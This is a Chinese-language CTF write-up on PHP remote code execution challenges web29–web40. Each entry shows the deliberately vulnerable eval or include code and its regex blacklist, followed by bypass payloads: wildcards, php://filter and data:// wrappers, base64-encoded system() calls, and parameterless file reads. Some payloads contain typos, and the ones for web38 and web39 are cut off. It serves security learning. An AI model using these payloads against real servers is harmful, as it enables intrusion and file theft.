RCE
RCE(remote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP的rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE
关于命令执行,我的认知是web的基础功底,很多别的种类的题目例如ssti这种类型的找到flag时用到的姿势和命令执行很相像思路也是比较接近,所以我们一定由浅入深的把基础的命令执行payload理解透彻
首先就是cat flag(别给我说这个你不会,不会自己查去其实就是个打开的命令,但是在我刚开始进行练习的时候面对的是个tac,一开始我以为是后端写的东西,必须倒叙才行,但是越感觉越不对劲,于是我就去问后来得到个差不多的理解
tac 我的理解是从cat的文件里面倒序出每一行其实就是一种简便的命令
isset() 函数用于检测变量是否已设置并且非 NULL//其实就是保证你正常传参的
本篇文章主要参考落寞的魚师傅的web命令执行入门 星|焰师傅的命令执行详解(但是理论偏多)说多无益多看看题试着做几道就会很舒服了
web29
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
传参禁止flag字段思路:用通配符*补充好flag.php,然后想办法搞到
?c=system("cp fla* example.txt");
积累姿势,这种情况是指的用复制命令把fla*– *号自动补充后面的内容其实就是指的flag.php
复制了一份新的并命名为example.txt再访问即可
web30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload:?c=echo exec('nl fla?????');
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
|
反引号在php中类似于system函数 可以执行shell命令
web32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload:php:
?c=include_$GET[cmd]?>&cmd=php: ?c=include$_GET[1]?>&1=php: include函数:include是 PHP 中的文件包含函数,它的主要作用是将指定的文件内容包含到当前的 PHP 脚本中并执行。这意味着被包含文件中的 PHP 代码将在包含它的脚本的上下文中运行,就好像代码是直接写在包含它的脚本中一样。
|
这里过滤了反斜杠斜杠分号之类的
思路是用include函数实现不用括号的文件包含,然后再配合伪协议,分号使用>?代替
在这里我对于include_$GET这一内容不太理解去问sun师傅,孙师傅告诉我说是实现文件包含重造变量–重造了cmd这个传参然后使得传参不受限制了,**>?**代替了分号
web33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } //过滤了双引号,完全可以照搬32的payload
?c=include_$GET[lww]? >&lww=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
|
web34
1 2 3 4 5 6 7 8 9 10 11 12 13
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
可以一样用上面的payload
|
web35
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload; ?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== #到这里有三种方法可以使用
|
过滤了,=号和<括号这里可以使用data的base64 把要执行的命令加密了传进去
1
| PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
|
web36
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload; ?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
|
这次是多加了0-9的传参也就是说c传参里面原来的GET[cmd]本来是任意取值的现在的参数里面不能有数字
web37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个 ?c=data://text/palin,<?php system("tac f*");?> ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==
|
web38
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; }
}else{ highlight_file(__FILE__); } data: text/palin 是 data: <?=system("tac f*");?> 是 PHP 代码,使用 system 函数执行 tac f* 命令。 payload: ?c=data: ?c=data: ?c=data:
|
web39
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); }
}else{ highlight_file(__FILE__); } payload: ?c=data: ?c=data:
|
这个地方 include($c.”.php”);我有很大的疑问,就是豆包给的解释是include($c.".php");
:将拼接后的字符串作为文件路径,尝试包含这个文件。如果文件存在,PHP 会将该文件的内容包含到当前文件中并执行;如果文件不存在,根据 PHP 的配置不同,可能会产生一个警告或错误(不过在这段代码中,由于 error_reporting(0);
的设置,错误不会显示)。
但是这样解释是得不到flag的,于是我把sun师傅喊起来问他sun师傅解释一番但是我感觉不是很理解
最后的结论是: c是data://text/palin,后面衔接.php 但是这样理解是不对的 我的理解是在赋值的时候就已经进行命令执行了后面的.php实际上没有用到
web40
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
payload ?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv())))))); ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); next(): 函数将内部指针指向数组中的下一个元素,并输出。 ?c=print_r(scandir(current(localeconv()))); scandir(current(localeconv())) 查看当前目录所有文件名 ?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
|
无参文件读取不是无回显
过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取 无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数 localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse():数组逆序
array_flip()是交换数组的键和值